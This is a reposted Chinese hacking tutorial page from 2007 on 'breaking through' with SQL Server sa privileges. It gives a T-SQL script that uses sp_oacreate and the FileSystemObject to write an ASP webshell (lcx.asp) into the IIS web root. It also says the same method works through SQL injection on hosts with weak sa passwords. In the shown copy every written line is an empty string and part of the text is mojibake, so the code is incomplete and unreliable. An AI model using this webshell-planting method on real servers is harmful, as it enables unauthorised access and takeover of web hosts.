sa权限,sa权限突破

sa权限突破 - 网络安全 - 电脑教程网

sa权限突破

日期:2007-10-20   荐:
本文作者:简单del记忆
来源:http://skyhack.ltcen.com/wz/

不知道大家看没看过LCX的那篇(对SA权限的再突破) 我认为那真的是太经典了~ 但是发现没有,他写入的WEBSHELL是CMD。ASP 这个东西不怎么用的着, 最好就是有个个人版的SHELL, 于是我把其中的代码改了,。。。 如下: SQL查询分析器连接过去declare @o int, @f int, @t int, @ret int ,@a int exec sp_oacreate 'scripting.filesystem**', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'C:\\inetpub\\wwwroot\\lcx.asp', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, ''

后来自己研究发现。。对一些没权限的主机。在SQL注入的时候,也可以用declare @o int, @f int, @t int, @ret int ,@a int exec sp_oacreate 'scripting.filesystem**', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'C:\\inetpub\\wwwroot\\lcx.asp', 1 这样的格式来写入得到SHELL, xiaolu大哥的最小的SHELL写入文件的时候都差不嗍钦飧鲈砝吹? 大家灵活运用才对,这招对于得到SA弱口令的时候特别管用

(出处:http://www.sheup.com)


[1] 

(出处:http://www.sheup.com)


 [1] [2] 

标签: